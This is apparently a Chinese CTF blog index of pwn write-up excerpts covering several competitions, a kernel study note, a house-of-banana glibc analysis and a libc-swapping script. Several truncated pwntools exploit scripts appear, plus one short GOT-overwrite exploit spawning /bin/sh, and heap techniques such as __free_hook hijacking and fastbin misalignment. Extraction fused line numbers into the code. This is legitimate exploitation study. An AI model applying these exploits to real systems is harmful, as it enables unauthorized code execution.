长安战役 PWN
大体说下,pwn1拿了一血,pwn2拿了第四,pwn3拿了二血。前些日子的抑郁,一直没勇气再做pwn题,等到恢复好了就直接搞kernel去了,这次比赛只是为了试验下自己。
pwn1
是2.23的stack overflow,但是sp指针的切换方式不太一样
12345678910111213141516.text:0804859E mov ecx, [ebp+var_4].text:080485A1 leave.text:080485A2 lea esp, [ecx-4].text:080485A5 retn.text:080485A5 ; } // starts at 8048559/*leave :mov esp,ebppop ebp栈迁移有时用到它ret :pop rip*/
实际没必要研究具体的切换方式,使用padding溢出,看最终esp和padding中字符串有啥关系,再相应调整padding。
123456789 ...
C++ Pwn
长安战役-pwn4
明显的UAF,思路就是劫持__free_hook
现在还没有了析c++的内存管理,从做题的过程来说,在new分配时不止会malloc一次,类似采用了某种数据结构,chunk的某一部分需要维持这种数据结构所以size没有那么准确。在delete时,也可能不只free一次。这应该说在malloc和free之上采用某种系统而形成了new和delete。
类似整体看,在new一个chunk之前,会先有一个较大的unsorted bin,每次分配从中切割一块。这使得泄露时就可先delete填满tcache之后,再次delete合并入unsorted_bin,之后在FD和BK域就可看到libc的地址。
漏洞点
123456789101112_DWORD *__fastcall del(info *this){ if ( this->key )//------------------------------------------- operator delete[](this->key);//----------------------- ...
kernel学习
收集信息
内核态与用户态是操作系统的两种运行级别,跟intel cpu没有必然的联系, intel cpu提供Ring0-Ring3三种级别的运行模式,Ring0级别最高,Ring3最低。Linux使用了Ring3级别运行用户态,Ring0作为 内核态,没有使用Ring1和Ring2。Ring3状态不能访问Ring0的地址空间,包括代码和数据。Linux进程的4GB地址空间,3G-4G部 分大家是共享的,是内核态的地址空间,这里存放在整个内核的代码和所有的内核模块,以及内核所维护的数据。用户运行一个程序,该程序所创建的进程开始是运 行在用户态的,如果要执行文件操作,网络数据发送等操作,必须通过write,send等系统调用,这些系统调用会调用内核中的代码来完成操作,这时,必 须切换到Ring0,然后进入3GB-4GB中的内核地址空间去执行这些代码完成操作,完成后,切换回Ring3,回到用户态。这样,用户态的程序就不能 随意操作内核地址空间,具有一定的安全保护作用。
12345$ uname -aLinux ubuntu 4.15.0-142-generic #146~16.04.1- ...
莲城杯pwn
这个我们队拿到了第四,当然也是并列第一,其中的pwn是我代为解出来的。说实话不太难,pwn也拿到血了。
free_free_free
利用unsorted bin的指针残留,爆破stdout,1/16的可能。
利用fastbin 错位先申请到stdout-0x43,后申请到malloc_hook-0x23。
利用realloc调节栈帧,one-gadget获取shell。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990#!/usr/bin/env pythonfrom pwn import *local = 0debug = 0binary = "./free_free_free"lib = "/lib/x86_64-linux-gnu/libc.s ...
鹤城杯pwn
共5题,当时没有参加,师傅给的附件自己做的,调休这两天课都是满的,只能找零碎的时间做。不过这也是第一次能把pwn自己做完。
littleof有个点就是最后使用system("/bin/sh");获取不成功,确实听说过这种情况,不过可以使用exevce来获取shell,我就直接用syscall来恶心它了;
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566#!/usr/bin/env pythonfrom pwn import *local = 1debug = 0binary = "./littleof"lib = "/lib/x86_64-linux-gnu/libc.so.6"elf = ELF(binary)context.log_level = "debug" if debug else "i ...
house_of_banana源码分析
House of banana
相较之与 house of orange,house of banana把攻击的焦点转向了ld。其更多地运用于条件极端的情况,如只能申请比较大的块,避开tcache,这时就可以运用这种机制
程序在执行完,或者直接执行exit();时,会进行些资源回收之类的活动,这次要攻击的就是这部分地fini-array,可以这里了解下它的基本知识。
以下的源码来源于glibc2.23
fini-arry中的函数是怎么执行的首先导入源码进行调试
123giles@ubuntu:~/Desktop/house_of_banana $ echo $ELF/home/giles/real_source/glibc-2.23/elfgiles@ubuntu:~/Desktop/house_of_banana $ gdb a.out -d $ELF
接着查看,fini_array的函数,打上断点
12345678910111213141516171819202122232425262728293031323334353637383940414243pwndbg> elfh ...
PWN 快速加载libc
这个是我自己写的,多少有点偷lemon师傅那个的嫌疑。主要逻辑就是通过shell的一些判断最后组合出那两句命令,好不好用我也不知道,后期有需要会把glibc-all-in-one与之结合,可能更方便些。
patchpwn - A shell script to replace libc of pwn binary in CTFAbstractThis simple shell script is based patchelf and glibc-all-in-one . So , using patchpwn , you need to ensure that you have install them and they are in normal use .
UsageBefore specifying the libc version , you should download the libc via glibc-all-in-one, then edit this shell script and replace the LIBC_DIR variable to ada ...
长安杯 绿城杯 DASCTF Sept pwn部分
我累了,可能也有点xxxx了,我想把眼前的是事情放一放,自由地做些事情把。。。。。。。。。。。
长安杯
别怪我,就做出这一个,不过别人也没把其他的做出来问了师兄,题目来源于Nu1L,最后成绩20多名吧
baigei
算是逻辑上有问题,可以重置size
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687#!/usr/bin/env pythonfrom pwn import *binary = "./main"lib = "./libc-2.27.so"# p = process(binary)p = remote("113.201.14.253","")elf = ELF(binary)libc = ELF(lib)# co ...
长城杯2021pwn
第一题没学过那种方法,自己打exit_hook花了好久。第二题orw比较简单
K1ng_in_h3Ap_Iexp1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586#!/usr/bin/env pythonfrom pwn import *binary = "./pwn"lib = "/lib/x86_64-linux-gnu/libc.so.6"p = process(binary)p = remote("47.104.175.110","20066")# flag{a3a6d84e-30b3-41ce-a6bc-158e2a975f73}elf = ELF(binary)libc = ELF(lib)# con ...
蓝帽杯PWN
Coverexp123456789#!/usr/bin/env pythonfrom pwn import *p = process("./pwn")raw_input()payload = p32(0x80484D6+1)payload += "\x30"p.send(payload)p.send("/bin/sh\x00")p.interactive()
本来是想改下一个read()函数的push 0xa,使其栈溢出,但是没达到目的.
之后就转向打plt表了,pus(ptr) -> system(ptr)
hangman(绞死那个人)exp1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283#!/usr/bin/env pythonfrom pwn imp ...